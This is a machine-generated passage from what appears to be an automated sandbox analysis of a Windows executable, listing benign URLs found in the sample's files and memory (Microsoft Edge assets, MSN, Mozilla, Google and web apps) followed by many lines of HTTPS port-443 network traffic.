Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.13.dr, 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_532.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_532.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_532.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_532.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://gaana.com/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://m.kugou.com/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://m.vk.com/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.14.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.14.dr	String found in binary or memory: https://msn.comXIDv10
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://music.amazon.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://music.apple.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log2.13.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.13.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.13.dr, 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377230853822480.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.13.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.13.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://open.spotify.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_532.6.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.com/
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://support.mozilla.org
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://tidal.com/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://web.telegram.org/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://web.whatsapp.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.deezer.com/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.13.dr, content.js.13.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.2371435542.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBG.1.dr, IJEHIDHD.1.dr, Web Data.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 59c7503a-d5f8-453b-8b1d-1f007f1403b7.tmp.14.dr, 8c7e25dd-9bc1-45ee-80a6-8122b1739c9f.tmp.14.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_532.6.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_532.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_532.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.instagram.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.last.fm/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.messenger.com
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://www.mozilla.org
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000001.00000002.2730382945.0000000001064000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000001.00000002.2730382945.0000000001064000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.2730382945.0000000001147000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2730382945.0000000001064000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000002.2730382945.0000000001147000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: IJKFIIIJJKJJKEBGIDGCAEGCGD.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.office.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000001.00000002.2730002309.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.000000002368A000.00000004.00000020.00020000.00000000.sdmp, CFHCBKKFIJJJECAAFCGI.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.tiktok.com/
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://www.youtube.com
Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
